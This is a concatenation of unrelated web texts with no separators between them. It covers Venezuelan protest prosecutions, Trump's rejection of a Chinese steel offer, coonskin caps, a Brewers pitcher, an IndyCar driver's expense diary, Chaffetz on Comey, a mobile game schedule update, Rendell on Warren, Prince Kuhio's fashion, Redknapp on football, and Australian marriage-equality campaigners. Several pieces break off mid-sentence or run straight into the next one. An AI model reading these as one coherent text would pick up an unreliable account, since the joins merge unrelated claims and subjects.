About 1,500 students face prosecution after three months of street protests this year with no evidence they took part in any criminal act, including about 160 still behind bars, the International Commission of Jurists (ICJ) said.
Forty-two people, including 38 civilians, were killed in the daily marches to decry crime, inflation and food shortages in Venezuela. Excessive use of force by security forces has been documented as well as least 14 alleged cases of torture.
Yet there has been no substantial progress in investigating such cases, the ICJ said.
The independence of legal institutions in Venezuela is “very weak”, the Geneva-based jurists group concluded in a report.
“It is of the utmost importance that the legal and political institutions of the State - especially the judiciary and the Attorney General’s Office - be strengthened and become the fundamental pillar of democracy, as guardians of the rule of law”.
Opposition leader Leopoldo Lopez, jailed in February for leading the protests, was being held in isolation in a military prison by the socialist government of President Nicolas Maduro, the ICJ said.
A judge in Caracas ruled on Thursday that Lopez should face trial on charges including instigating arson and damage in connection with the protests. Four students will go to trial on similar charges.
The government says the protests were a veneer for a U.S.-backed conspiracy to oust the successor to the late Hugo Chavez.
Most of Venezuela’s nearly 2,000 judges hold temporary appointments with no security of tenure, leaving them vulnerable to pressures and sometimes to reprisals by the government, parliament or other forces, the ICJ said.
Prosecutors can also be readily dismissed, according to the group, which is composed of 60 eminent judges and lawyers.
“POLITICAL LOYALTY”
“There is a lack of independence of judges in Venezuela beginning with the Supreme Court. Appointments are made on the basis of political loyalty,” Carlos Ayala, a Venezuelan law professor and member of the ICJ’s Executive Committee, told a news briefing in Geneva.
“Judges are used to persecute dissidents, that is to say judges and prosecutors are used against persons who make demands, such as union leaders and students,” he said.
The country of 30 million is one of the world’s most dangerous.
Maduro’s government, which has declared war on crime, said in December the murder rate had fallen by about a quarter in 2013, dismissing opponents’ talk of ever-rising crime as propaganda.
The official homicide rate is about 52 per 100,000 people last year, or more than 15,000 victims.
“We have record figures in crime and murders, every sort of crime but there are no prosecutions, no investigations, no indictments, no convictions,” Pedro Nikken, an ICJ Commissioner and former dean of the Law School of the Universidad Central de Venezuela, told the news briefing.
“Instead, we have several hundred students indicted and prosecuted because they are fighting in the street for their future,” he said.“No deal.”
Donald Trump is not known for putting substance over spectacle.
Throughout his first seven months in office, the president has evinced far more interest in declaring political victories than achieving any particular policy goal. After campaigning on a promise to deliver universal health care, Trump welcomed the congressional GOP’s plan to increase the ranks of the uninsured by 21 million. In fact, Trump demanded that Republicans pass their health-care bill, even though he, himself, described its provisions as “mean” and “coldhearted.” The details didn’t matter — the point was to “win.” Or, more specifically, to have a pretext for declaring victory: When Trumpcare limped its way out of the House, the president held a Rose Garden celebration for a bill that would never become law.
This “fake it till you make it” ethos informed virtually everything the new president did. He spent his first weeks in office signing toothless executive orders that merely reiterated his campaign promises. And when Saudi Arabia orchestrated a blockade of Qatar — on the laughable pretense that Riyadh was scandalized by Doha’s connections to Islamist terrorism — Trump eagerly marketed economic warfare against a key U.S. ally as a breakthrough in his fight against radical Islam.
Give President Trump a chance to license his name to a policy “win” — no matter how superficial — and he’ll take it.
Or so the Chinese government (reasonably) thought. Last month, Beijing offered the Trump administration a commitment to reduce its steel production. The Communist nation runs its steel industry less as a for-profit business than as an employment program, allowing Chinese producers to sell the commodity below the cost of production — thereby rendering European and American steel manufacturers uncompetitive.
Throughout 2016, Trump vowed to curb Chinese steel “dumping.” Beijing gave Trump the chance to walk out of high-level economic meetings last month with a “breakthrough deal” on one of his core campaign promises. And China’s concession was actually significant enough to win the hearty approval of the administration’s trade hawks, including Commerce Secretary Wilbur Ross. All assumed the boss would be thrilled. But they assumed wrong, as the Financial Times reports:
Donald Trump last month rejected a Chinese proposal to cut steel overcapacity despite it being endorsed by some of his top advisers, as he urged them instead to find ways to impose tariffs on imports from China.
One week after the July G20 summit in Hamburg, at which Mr Trump criticised China for flooding the world market with cheap steel, Beijing proposed cutting steel overcapacity by 150m tonnes by 2022. But Mr Trump twice rejected the deal, according to several people familiar with the internal debate …
… “The president had by then decided that he wanted to do something much broader,” said the US official, who added that the Chinese proposal for cutting steel overcapacity was significant. “It was fairly sizeable amounts. But the amounts don’t really matter [since] by then the president had decided that he wanted to go in a different direction — more towards tariffs than cutting excess capacity.”
… One former official said Mr Ross looked shocked when he returned to the talks with Mr Wang after being told by Mr Trump that the deal was a non-starter.
It’s probably not quite right to describe this as a commitment to substance over symbolism, given the clear superiority of Beijing’s offer to tariffs as a matter of policy. For one thing, a cut in Chinese production would raise the price of steel worldwide, and, thus, would not put American importers of steel at a special disadvantage — but tariffs would. For another, accepting China’s offer would, obviously, not put the U.S. at risk of retaliatory actions by Beijing — but imposing tariffs would.
More fundamentally, if Trump restricted his tariffs to Chinese steel exports, they would have little effect on America’s steel industry. Right now, China directly supplies only about one percent of the steel used in the U.S. Most American steel imports come from Canada, South Korea, Brazil, and Mexico. Slapping tariffs on a frenemy like China is one thing; instigating an economic conflict with our northern neighbor is quite another (in terms of diplomatic downsides).
Nonetheless, Trump’s rejection of the Chinese proposal suggests that he is committed to a specific policy goal on trade with China — or, at least, to the specifics of his spectacle. The president has taken a similar approach to his border wall — instead of trying to rebrand border-security measures that enjoy bipartisan support as the foundation for his wall, Trump has insisted on the simple, symbolically potent, substantively indefensible policy he campaigned on.
Unlike the border wall, however, Trump doesn’t need Congress to slap tariffs on China — he can do so unilaterally, on “national security” grounds.
But he hasn’t. And in the weeks since Trump walked away from Xi Jinping’s offer, Beijing has cut back on steel production, anyway. This, combined with the fact that China is now consuming more of the steel it produces, has sparked a recovery in global steel prices, and with them, America’s steel industry.
So, one might dismiss Trump’s tariff talk as yet another example of the president’s bark outstripping his bite. But Trump has repeatedly suggested that his trade war with China is but a dream deferred. Last month, he told The Wall Street Journal that he was “waiting till we get everything finished up between health care and taxes and maybe even infrastructure,” before making a big move on trade policy. In an interview with FT, an administration official clarified the motivation behind Trump’s patience, saying, “The president has made clear... that the immediate priority is the tax bill and he is not seeking to introduce things that could create issues with the Congress regarding the tax bill.”
One way to interpret these remarks: When the legislative agenda falls away, the trade warrior-in-chief will play. Trump’s most radical actions have often been motivated by a desire to compensate for a legislative failure with executive action. If his jobs agenda stalls in Congress, it’s easy to see him pulling the trigger on tariffs. Especially when one considers the passion he’s shown in private for the policy, as Axios reported Monday:
The scene: The Oval Office, during Gen. Kelly’s first week as Chief of Staff. Kelly convened a meeting to discuss the administration’s plans to investigate China for stealing American intellectual property and technology. Kelly stood beside Trump, behind the Resolute desk. In front of the desk were U.S. Trade Representative Robert Lighthizer, senior trade adviser Peter Navarro, top economic adviser Gary Cohn, and Trump’s former chief strategist Steve Bannon.
Trump, addressing Kelly, said, “John, you haven’t been in a trade discussion before, so I want to share with you my views. For the last six months, this same group of geniuses comes in here all the time and I tell them, ‘Tariffs. I want tariffs.’ And what do they do? They bring me IP. I can’t put a tariff on IP.” (Most in the room understood that the president can, in fact, use tariffs to combat Chinese IP theft.)
… “John, let me tell you why they didn’t bring me any tariffs,” he said. “I know there are some people in the room right now that are upset. I know there are some globalists in the room right now. And they don’t want them, John, they don’t want the tariffs. But I’m telling you, I want tariffs.”
This anecdote could be a semi-fictional Bannon leak. But the fact that the ex-chief strategist will be beating the drums of trade war in the right-wing press will also build momentum for tariffs. Trump is already convinced that he needs to distance himself from the GOP Establishment, and deliver more symbolic “wins” to his base.
It’s possible that the president’s fear of disrupting the relatively favorable economic conditions he inherited will restrain him. But this week’s reporting paints a new nightmare scenario for congressional Republicans — one in which a renegade president compounds the political costs of their legislative failures by sabotaging the economy, just before the midterm elections.A mannequin with a coonskin cap
A coonskin cap is a hat fashioned from the skin and fur of a raccoon. The original coonskin cap consisted of the entire skin of the raccoon including its head and tail. Beginning as traditional Native American headgear, coonskin caps became associated with American and Canadian frontiersmen of the 18th and 19th centuries, and were highly popular among boys in the United States, Canada, the United Kingdom and Australia in the 1950s.[1]
Origin [ edit ]
Coonskin caps were originally a traditional Native American article of clothing.[1] When Europeans began colonizing the Tennessee and Kentucky areas, the colonists started wearing them as hunting caps.
The coonskin cap eventually became a part of the iconic image associated with American frontiersmen such as Daniel Boone and Davy Crockett. Boone did not actually wear coonskin caps, which he disliked, and instead wore felt hats,[2] but explorer Meriwether Lewis wore a coonskin cap during the Lewis and Clark Expedition. Joseph L. Meek wore the coonskin cap in the mountains.
An account of actor Noah Ludlow introducing the popular song "The Hunters of Kentucky" while wearing a coonskin cap is shown to be spurious in Ludlow's autobiography. Ludlow recounted that initial performance of 1822:
As soon as the comedy of the night was over, I dressed myself in a buckskin hunting-shirt and leggins, which I borrowed off a river man, and with moccasins on my feet and an old slouched hat on my head, and a rifle on my shoulder, I presented myself before the audience."[3]
20th century popularity [ edit ]
Estes Kefauver [ edit ]
Politician Estes Kefauver of Tennessee adopted the coonskin cap as a personal trademark during his successful 1948 campaign for election to the United States Senate. Tennessee political boss E. H. Crump had published advertisements accusing Kefauver of being a raccoon-like Communist puppet. In response, Kefauver put on a coonskin cap during a speech in Memphis, proclaiming: "I may be a pet coon, but I'm not Boss Crump's pet coon."[4] He continued to use the coonskin cap as a trademark throughout his political career, which included unsuccessful campaigns for the Democratic presidential nomination in 1952 and 1956, an unsuccessful campaign for the Vice Presidency as Adlai Stevenson's running mate in 1956, and successful Senatorial re-election campaigns in 1954 and 1960.[4]
1950s fad [ edit ]
In the 20th century, the iconic association was in large part due to Disney's television program Disneyland and the first three "Davy Crockett" episodes starring Fess Parker, which aired from December 1954 to February 1955. In the episodes, which once again made Crockett into one of the most popular men in the country, the frontier hero was portrayed wearing a coonskin cap. The show spawned several Disneyland Davy Crockett sequels as well as other similar shows and movies, with many of them featuring Parker as the lead actor. Parker went on to star in a Daniel Boone television series (1964-1970), again wearing a coonskin cap.
Crockett's new popularity initiated a fad among boys all over the United States as well as a Davy Crockett craze in the United Kingdom. The look of the cap that was marketed to young boys was typically simplified; it was usually a faux fur lined skull cap with a raccoon tail attached. A variation was marketed to young girls as the Polly Crockett hat. It was similar in style to the boys' cap, including the long tail, but was made of all-white fur (faux or possibly rabbit). At the peak of the fad, coonskin caps sold at a rate of 5,000 caps a day.[5] By the end of the 1950s, Crockett's popularity waned and the fad slowly died out. The fad is recalled by numerous cultural references, such as the wearing of coonskin caps as part of The Junior Woodchucks uniform in Disney's Donald Duck comics. Novelist Thomas Pynchon referenced both the hat and the fashion in his novel V., where he refers to the hat as a "bushy Freudian hermaphrodite symbol".
Other uses [ edit ]
Coonskin caps are powerful cultural symbols that continued to be seen in film, television, and other contexts in the latter decades of the 20th century.
See also [ edit ]Mike Fiers is my dark horse for the Cy Young award, and while I don’t necessarily think he’ll win it, I very much believe he’ll garner at least a few votes. I might be the only one who thinks he’ll be that good in 2015, but I’m not alone when I say he’s the best pitcher the Brewers’ rotation has to offer. You may find that hard to believe with arms like Yovani Gallardo, Kyle Lohse and Matt Garza stuck in there, but Steamer is projecting Fiers to be worth the most wins among Milwaukee pitchers with a 2.0 WAR, and Jeff Sullivan of FanGraphs says he “might be the best one” among them. It’s crazy to think Fiers won’t be dominant in ’15, as he is ready to build on his last two seasons as a starter (2012 and 2014) and become the ace of the Brewers.
Since 2011, Fiers has made 50 appearances (35 starts) as a major leaguer; he became a full-fledged starter in 2012. In that 2012 season, he was worth 3.1 WAR in 22 starts. Yeah, he was that good. Only Zack Greinke and Marco Estrada were more valuable to the Brewers’ pitching staff that year. Gallardo, who made 11 more starts than Fiers, was only worth 2.5 wins.
But then 2013 rolled around, Fiers’ toughest year not only as a baseball player but as a human being. He lost his mother after a long battle with a chronic disease, and the pain in his heart was evident on the field. When it was all said and done, Fiers made 11 appearances with the Brewers, finishing with a 7.25 ERA and 7.17 FIP. His season ended after being struck in the right forearm by a line drive while he was pitching for Triple |
... to dinner. But do they actually do that? We decided to find out, asking six athletes -- from a millionaire NBA baller to a college swimmer -- to track every purchase they make. Turns out, it's lots of Chipotle and online shopping. Stars: They really are just like us!
RYAN HUNTER-REAY
The driver of IndyCar's No. 28 DHL Honda and owner of two consecutive Best Driver ESPY Awards is wrapping up another fine year that saw him earn $3.3 million in prize money alone. He notched three IndyCar wins, including the Indy 500, in his main gig for Andretti Autosport, while earning two podium finishes with his Viper GTS-R side ride. All that wheel work, coupled with sponsor obligations, can lead to hectic weeks -- and high costs -- for Hunter-Reay's traveling circus.
Primary gig: IndyCar driver of No. 28 DHL Honda for Andretti Autosport
2014 salary: In 2014, $3.3 million in prize money alone
Age: 33
Residence: Fort Lauderdale, Fla.
Dependents: Wife Rebecca; son Ryden, 2; two golden retrievers
How would you describe your lifestyle?
I'm on the road all the time, with constant travel week to week. At home we're laid-back, relaxed. The difference between racing and other sports is I'm a corporate brand representative as well. Aside from my obligations to my team, I have obligations to my sponsors, including my primary sponsor DHL, plus Honda and many others.
Estimate what percentage of your paycheck goes into savings?
Right now, it's probably around 65-70 percent. We have the house paid off, and we're not buying many toys except for Ryden.
What's your most baller possession?
I'd say the boat. I have a 36 Yellowfin with triple Honda 250s on the back. Other than my family, this boat gets most of my attention.
Most costly habit?
The boat. It's the fuel, really.
Biggest purchase you've made recently?
We're redoing the bathrooms in our house. That's expensive. It's amazing how much a bathroom can cost.
Dumbest purchase you've made recently?
Dumb is a relative term, I guess. But recently I spent $2,000 to fill up the boat with fuel to run to the Bahamas and back, and I also bought a huge Snap-On tool chest and a bunch of tools for roughly $8,000. I rationalized the purchase by telling myself good tools last a lifetime, but not many will see it that way.
Now, about your diary: Is this pretty representative of a typical stretch in your life, or is it a crazy-busy week?
It's representative to an extent, but this was an exceptionally busy week. I went from racing the Viper GTS-R in Atlanta (side gig), straight to New York for a Tommy Hilfiger shoot, straight to a DHL appearance in New Jersey, straight to Manhattan for another DHL appearance, straight to Cincy for another DHL appearance, then to Indy for a team meeting. And expense-wise, this week was high because I had my family with me too.
So how does this work -- you pay for all of these expenses out of your own pocket, then invoice some of it back to team or sponsor?
Yeah, that's how most of it works. Anything that's on a sponsor or the team's time gets invoiced back to the team. A day off in between is on me. So I can invoice a lot of the expenses on this diary.
10.05.14
$350: Generator share fee for bus
$412: Diesel fuel for RHR Newell Bus
$807.64: Clothing, Bloomingdale's
$74.56: Gas for Hertz car rental return
$284.86: Car rental, Hertz
"I'm in a different city every day, so by now I'm used to the whole rental car scenario. I've never had the urge to race it on a beach like in Days of Thunder, but I've definitely wanted to race my teammates. Race car drivers and rental cars are not a good mix."
$1,254.16: Business class airfare for two, Atlanta to NYC, Delta Air Lines
"My wife, Rebecca, our almost-2-year-old son, Ryden, and I flew to New York for a Tommy Hilfiger shoot and a DHL event. Sometimes we do three seats in coach, but here two in business was cheaper."
$19.89: Miscellaneous, Duane Reade
$365: SUV with child seat to hotel
$15: Check in luggage with bellman, Ritz-Carlton
$83.80: Dinner, Trattoria Dell'Arte
10.06.14
$31.79: Gym monthly membership fee
$226: SUV to photo shoot
$88: Lunch, Rue 57
$119: Overnight delivery, helmet
"I got a last-second request from Hilfiger to have my helmet at the shoot. The photos will be in Tommy's next catalog."
$67.85: Miscellaneous, Duane Reade
$609.39: Clothing, Bergdorf Goodman
$688.99: iPhone6, Apple
"That's the initial cost, but I'll get a discount in a few weeks since I extended my contract."
$49: Dinner, Sarabeth
10.07.14
$39.95: In-flight wireless monthly fee
$20.64: Toy, FAO Schwarz
"Ryden always has a good time at FAO -- you should see him dance on the big piano like Tom Hanks. Usually we'll go crazy with toys, but this time Ryden took one thing off the rack, and it was just a small car."
$127.56: Dinner, room service
10.08.14
$512.37: Town car to and from Newark, New Jersey, for DHL appearance
$49: Lunch, Sarabeth
$238: Town car, Ritz-Carlton to LaGuardia (Becky, Ryden)
$24.83: Food, LaGuardia (Becky, Ryden)
$1,078.20: Business class airfare (Becky, Ryden) to Fort Lauderdale, Florida
$6,605.66: Hotel bill, Ritz-Carlton
"Some of this will get expensed, but I'll pay for a portion since it's a larger room for the family. But you'd be surprised, it wasn't huge -- New York is just expensive."
$228: Car to DHL dinner
$274.21: Car from dinner to JFK
$740.01: Business class airfare to Cincinnati
$398.78: Westin Hotel, CincinnatiFormer Oversight Committee Chairman Jason Chaffetz is raising the issue of perjury after learning former FBI Director James Comey made the decision not to refer former Secretary of State Hillary Clinton for prosecution months before the Bureau was done with its criminal investigation into her mishandling of top secret, classified information.
"There are evidently up to 17 people who had not yet been interviewed and this is a very strong allegation. The former FBI Director have a lot of explaining to do. He could have perjured himself, " Chaffetz said Friday morning on Fox and Friends. "Remember, he appeared before the House Oversight Committee, the Senate Judiciary Committee [and was asked] 'how is it that you interviewed Secretary Clinton a Saturday and then like Tuesday morning they suddenly had the report out."
"How is that he'd already readied the conclusion when they hadn't even done the interviews?" he continued.
Yesterday Chaffetz also responded to the FBI's denial of a Freedom of Information Request for Clinton's emails because there was a "lack of public interest" for their release.
"This is absolutely disgusting, it's totally counter to who we are as a nation. We are open, we are transparent, we're supposed to be self-critical. The American people pay for this government. Hillary Clinton was the Secretary of State, what she created were federal records and every individual in this country has the right to see those," Chaffetz said. "They're protecting themselves, they're protecting Hillay Clinton and they don't want the exposure. What is it that they're hiding?"
Watch the latest video at video.foxnews.com
Meanwhile, Senate Judiciary Committee Chairman Chuck Grassley and Committee member Linsdey Graham are demanding newly minted FBI Director Christopher Wray to turn over documents surrounding Comey's decision not to refer Clinton for prosecution.We’d like to thank all our players for their feedback regarding our Territory Battle Overview post. We read and take all your feedback seriously, and appreciate everyone taking the time to help improve the game. As you know, we’re always working to make the game as good as we possibly can. As such, we and would like to provide an update to the schedule along with some additional information.Due to the excitement and engagement around the new feature and based on your feedback –. They will start at 1PM UTC (for all players) on Wednesdays and end at 1PM UTC on Tuesdays. This will be to give you all time to learn the feature, get to understand its nuances better, and begin to figure out how to work together as a guild. We do plan to return to smaller windows based on feedback and data points, once familiarity is achieved. We will keep you up to date on these changes so you don’t get caught off guard.We also wanted to share some thinking around the original schedule, along with additional information about the feature.Some players raised concerns about the amount of time required to complete all Missions in a phase. While every unit provides value via Deployment, not every unit is used in combat. Four squads and one fleet are the maximum required in any one phase. We have done a lot of playtesting and on manual battle, each phase typically takes 10-25 minutes, based on the phase and the player’s available roster.Another similar topic raises concerns around the commitment required during work hours. Information that we didn’t previously state is that the event will normally run from Friday – Sunday (technically 6AM on Friday to 6AM on Monday based on the Guild Leader’s time). For players that have a typical Monday-Friday work schedule, Phase 1 will be the only phase during work hours. Furthermore, Phase 1 requires the least amount of time commitment (~10 minutes), vastly minimizing player dependency in that phase.The choice to pick 6AM/6PM as the start/end of phases was based on looking at when the vast majority of our players play the game, which includes heavy play throughout the 6AM to 6PM window (player local time) and the evening window. We wanted to make sure that it aligned with other timers in the game, such as the Squad Arena prize payout, to minimize the number of necessary check-in points outside of typical game behavior. Making the time later, as requested by some players for work hour concerns, would not work for the vast majority of players.For international Guilds, we sympathize that your hours will be offset from the intended 6AM to 6PM if your guild leader is in another timezone. Our hope is that the combination of the majority of the event being on the weekend and the 12 hour session being longer than a typical sleep cycle will accommodate your Guilds as well.Finally, thank you for all your feedback and participation in this community. We are very excited about this feature and look forward to sharing it with all of you, and appreciate what an incredible community this is.See you on the Holotables!-CarrieA Hillary Clinton Hillary Diane Rodham ClintonSanders: 'I fully expect' fair treatment by DNC in 2020 after 'not quite even handed' 2016 primary Sanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' Former Sanders campaign spokesman: Clinton staff are 'biggest a--holes in American politics' MORE surrogate said scant foreign policy experience leaves Sen. Elizabeth Warren Elizabeth Ann WarrenSanders: 'Damn right' I'll make the large corporations pay 'fair share of taxes' House to push back at Trump on border GOP Sen. Tillis to vote for resolution blocking Trump's emergency declaration MORE (D-Mass.) unfit for the vice presidency.
“I know Secretary Clinton very well,” former Gov. Ed Rendell (D-Pa.) said on 1210 WHPT Radio in Philadelphia, as first reported by BuzzFeed. "I’m not an insider in the campaign, but I know her pretty well. I think she will not pick somebody who she feels in her heart is not ready to be president or commander-in-chief.
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“I think Elizabeth Warren is a wonderful, bright, passionate person but with no experience in foreign affairs and not in any way, shape or form ready to be commander-in-chief.”
Rendell pointed out that Warren started her Senate career just two years ago.
“I don’t know who Secretary Clinton will pick, but it will be somebody who if something happens to her her first week in office, that person could step in and be president the next day," Rendell said.
BuzzFeed on Wednesday said Rendell eventually called WHPT Radio back to say Warren’s pitfalls are also his own.
“I don’t want to leave it out there about Elizabeth Warren,” he said. "Elizabeth Warren’s problem would be the same problem I’d have.
“Let’s assume someone said consider Gov. Rendell for vice president. I have no experience militarily, no experience in foreign affairs and would be a difficult choice because if anything happened in week one and I became president, I would be lost.”
Reports emerged Wednesday that Warren is not currently interested in becoming Clinton’s running mate but has not ruled it out.
Warren also purportedly plans on endorsing Clinton, the presumptive Democratic presidential nominee, within a few weeks.Who needs GQ when you have Prince Kuhio?
Born Jonah Kuhio Kalanianaole in 1871, the Hawaiian figure achieved a marquee of notable titles to hang around his neck like the bossiest chain of humblebrags. He was an heir to the Kingdom of Hawaii, part of a rebellion to reinstate Queen Liliuokalani to her throne, a representative of the Territory of Hawaii to the United States Congress and the founder of Hawaiian Home Lands.
But did you know he also knew how to rock a suit like nobody's business?
Photo: Hawaii State Archives
Case. In. Point.
Photo: Wikipedia Commons
It's clear we can all take a lesson from Prince Kuhio's style book.
A deep sense of justice followed him into every political arena he ventured—right down to wherever he put on his leggings.
Photo: Wikipedia Commons
This is a photo of Prince Kuhio putting on leggings, ladies and gentlemen.
“Prince Kuhio, you make an ahu ula (feather cape) look so good it should be illegal.”
Photo: Wikipedia Commons
Even when he actually was under arrest for doing something illegal* he looked fly as hell.
Photo: Wikipedia Commons
*Kuhio was sentenced to a year in prison in 1895 for supporting the insurrection of Queen Liliuokalani after she was illegally overthrown.
Kuhio means “chief who leaned forward as he stood” and he fulfilled that fashion destiny with his classy cane.
Photo: Library of Congress
Oh, lean like a chief you say? Yeah, he did that.
Prince Kuhio and his cane: 1. Your Aloha Friday office look: 0
Photo: Wikipedia Commons
*Rushes out to Ala Moana Shopping Center to invest in a kick-ass cane*
Photo: Library of Congress
His majestic mustache deserves its own Honolulu Fashion Week.
Photo: Wikipedia Commons
So commanding.
Photo: Library of Congress
So magnificent.
Photo: Wikipedia
So mustache.
Photo: Wikipedia
So, what did we learn here today, fellas? Just print out this picture and show it to your barber the next time you get a haircut.
Photo: Wikipedia Commons
If you look half as stylish as Kuhio, you’ll leave a better man for it.Manchester City should have signed Chelsea captain John Terry in the January transfer window, according to Harry Redknapp.
Former Tottenham Hotspur manager Redknapp believes 35-year-old Terry, who has claimed he will not be offered a new contract by Chelsea, would have won City this season’s Premier League title.
As it is, Redknapp does not believe City have good enough defenders to overhaul Arsenal, Spurs and Leicester City to clinch top spot.
“If I had been at Man City I would have got on the phone on transfer deadline day and tried to take John Terry there, saying ‘if you’re not going to give him a contract we’ll have him’,” said Redknapp.
“I think he could have won the League for them. They wouldn’t have got smashed up like they did against Leicester. He’d have marked Robert Huth better at set-plays than whoever marked him last Saturday.
“Man City have just not been good enough this season. They started off like a house on fire, we all thought they were going to walk away with the League. But you don’t know what you are getting from them. They are all open and they can’t defend.
“Pep Guardiola can go to Man City, but unless he gets some defenders in he ain’t going to win the Champions League, I don’t care who he is.”
Redknapp believes Terry has put himself in the shop window by announcing Chelsea do not want to keep him, but, having played in America for the Seattle Sounders himself, doubts whether Major League Soccer would represent a good move.
“Personally, I would keep John, I would have him there (at Chelsea) all day,” said Redknapp, who was speaking ahead of the return of the UEFA Europa League on BT Sport.
“From Chelsea’s point of view, had they done it (announced his departure) in the summer it would have had less impact. People go on holiday, cricket starts, Europeans Championships. Whereas now every week it is going to be about John.
“He has got the crowd on his side, so from his point of view he wants to stay, but he has let people know and said ‘who wants me?’ Whether it is America, or China or whoever.
“The Americans wouldn’t understand John Terry. They like someone who dribbles and beats five players.”
BT Sport screens the UEFA Champions League, UEFA Europa League, Barclays Premier League and the Emirates FA Cup.It felt good to hear Harry Redknapp say that Tottenham Hotspur could win the league this season. The temptation for a manager with his experience is normally to issue warnings of troubles ahead. That approach is designed to tone down expectations and ensure the crowd does not become too reproachful when results go wrong, but such a tactic is not in vogue at White Hart Lane.
Redknapp can hardly feel sceptical when his side, following the 2-0 defeat of Aston Villa, have taken 25 points from their past nine fixtures in the Premier League. There is another statistic that is both valuable and heart-warming. Ledley King has almost equalled his appearance record for the whole of last season after featuring in the starting lineup on eight occasions so far. It was understandable that optimism and general good humour should overflow when Redknapp spoke after Monday's match.
As the weeks go by, however, Tottenham are bound to come under scrutiny and a meeting with them will ensure an intense reaction from opponents who now see the fixture as much more than a run-of-the-mill occasion. Redknapp's side have to live with that and the prominence, should the form continue, is a new factor that will stimulate opponents. We will see then if Tottenham have, in particular, the firepower to dishearten challengers.
The club may be far from poor, but neither is it rash enough to spend the sums required for an exceptional forward. Although Emmanuel Adebayor scored twice against Villa, those were his first goals since mid-September. Occasionally you feel that the lack of a regular finisher gnaws at Tottenham. Perhaps, indeed, effort has to go into preserving confidence in certain cases.
Joe Jordan, the Tottenham first-team coach, picked his way carefully through the issue of strikers on the eve of the match with Villa. Jermain Defoe had come off the bench to score against Fulham, but Jordan would have known that the forward would still not be promoted to the first XI on Monday. "He is as sharp and strong as I have seen him and he's waiting for his opportunity," the coach had said with pre-emptive consolation for Defoe.
Tottenham can be exciting and the sheer quality of the squad is a tribute to Redknapp's shrewdness. It is a pleasure to see a lineup that contains, say, Gareth Bale, Luka Modric and Rafael van der Vaart. Nonetheless, the club may not quite make the impact that its attractiveness deserves. In the Villa match, there was an urge to tap the scoreboard as if it were a stopped watch. Surely it couldn't still be only 2-0.
Economics do slow a club down. The difficulties of building a ground or somehow developing White Hart Lane are profound and that method of raising revenues cannot be implemented quickly. Tottenham conduct themselves responsibly and there is no expectation of a benefactor appearing to bankroll them. In any case, the forthcoming financial fair play rules are supposed to be a hindrance to such characters.
Redknapp, though, must suspect anticlimax ahead while there is too little explosiveness in front of the posts. It did not matter that the virtual obliteration of Villa on the field was not reflected fully in the result, but that leniency will undermine the prospect of a credible bid for the title if it lingers at Tottenham.
No one asks them to keep pace with Manchester City, who have racked up 42 goals in a dozen league matches. However, Manchester United, taking a more cautious approach since the 6-1 drubbing by City, have still scored 29 goals. Tottenham are on 23, albeit with a game in hand. It is a creditable enough tally, but probably a little off the pace required to hurtle them to the title.
Redknapp, at 64, is a worldly character at risk of becoming England manager, yet even he seems stirred and excited by the vitality and accomplishment he has unleashed at Tottenham. So far as the league is concerned, the side will be most likely be appreciated for the style shown while falling a little short. The crowd, for its part, can still be grateful for the pleasing football set before them.As we celebrate marriage equality let’s not forget those whose names may never be in the history books but whose contributions were critical to achieving the reform.
'A really happy morning': first same-sex couples register intent to marry in Australia Read more
These people’s stories remind us there was a decade-old marriage equality movement before the postal survey. If it had not been for that movement’s astounding success in changing hearts and minds the survey would have failed miserably, MPs might still be quibbling and we might still not have marriage equality.
The pioneer
As an early convener of Australian Marriage Equality, Peter Furness raised the profile of the issue when too few people wanted to talk about it.
He established Australia’s first municipal relationship register in south Sydney but he really hit the news when he took the Bureau of Statistics to task.
Peter was outraged the bureau wouldn’t recognise his Canadian marriage to his husband, Theo, in the census. The ABS said the Marriage Act forbade such recognition so Peter sought the advice of legal experts who said there was no legal impediment to recognition. The ABS was unmoved so Peter and Theo staged a sit-in at its Sydney office, refusing to leave and risking arrest until the ABS chiefs did the right thing. This brave act of civil disobedience caught the media’s attention, the ABS gave in and same-sex couples were subsequently able to indicate they are married on the census.
From this small gain flowed the recognition of overseas same-sex marriages by other federal agencies, then by state law, and finally now by the federal law.
The local champion
As a regional mayor west of Melbourne, Sharyn Faulkner made a lot of contacts and she wasn’t afraid to use them in her campaign to have her local Liberal, Sarah Henderson, support marriage equality for the sake of Sharyn’s son Ned.
Facebook Twitter Pinterest Sharyn Faulkner with her committee from Geelong for Marriage Equality. Photograph: Geelong for Marriage Equality
Sharyn organised large town hall meetings bringing together local health experts, clergy, LGBTI community reps, business leaders, aldermen and women, sports groups... whoever had a stake in the reform. Thanks to Sharyn’s tireless lobbying many of Geelong’s key institutions came out for marriage equality well before their counterparts around the nation. This included the Geelong and Surf Coast councils, as well as the Geelong football club, the first ALF team to publicly support marriage equality, prompting the entire league to follow suit not long after.
When your children ask you how marriage equality was won, remember the unremembered and quietly thank them
In Geelong, Sarah’s office was flooded with thousands of marriage equality postcards and dozens of constituents wanting her to back the reform, again thanks to Sharyn.
I helped out on one of Sharyn’s postcard signing stalls in a market in one of Geelong’s blue-collar suburbs.
We all noticed the surprise on Sarah’s face when she popped by to say hi and encountered a queue of tradies, young mothers and grandparents keen to sign marriage equality postcards.
Not long after that, Sarah became one of the first Liberals to declare her support for the reform.
Sharyn’s campaign set a benchmark for other local champions who emulated her success in convincing their local member to back marriage equality.
The researcher
It’s hard to imagine a social scientist who takes her vocation more seriously than Dr Sharon Dane.
Sharon was the lead researcher on a groundbreaking University of Queensland study, Not So Private Lives, the first Australian study to examine whether LGBTI people preferred to have their relationships recognised through de facto laws, civil unions or marriage. It found that LGBTI people did not see de facto status or civil unions as adequate substitutes for equality in marriage, especially those who were actually in these legally recognised relationships.
Sharon’s research came at precisely the moment when federal MPs were responding to growing demand for marriage equality by declaring de facto recognition was enough or by proposing civil unions as a compromise. Her findings were critical to scotching both these excuses for inaction and establishing once and for all that LGBTI people would never settle for anything less than full equality.
Sharon later went on to design and carry out independent research showing LGBTI people opposed both a plebiscite and marriage exemptions allowing new forms of discrimination in the name of “religious freedom”. Her impeccable methodology made it impossible for these studies to be ignored by lawmakers. Her findings were critical when it came to convincing the Senate to block the plebiscite in 2016 and convincing parliament to vote down unnecessary and damaging “religious freedom” amendments last week.
Same-sex marriage: now it's law, when can couples tie the knot? Read more
The bereaved partner
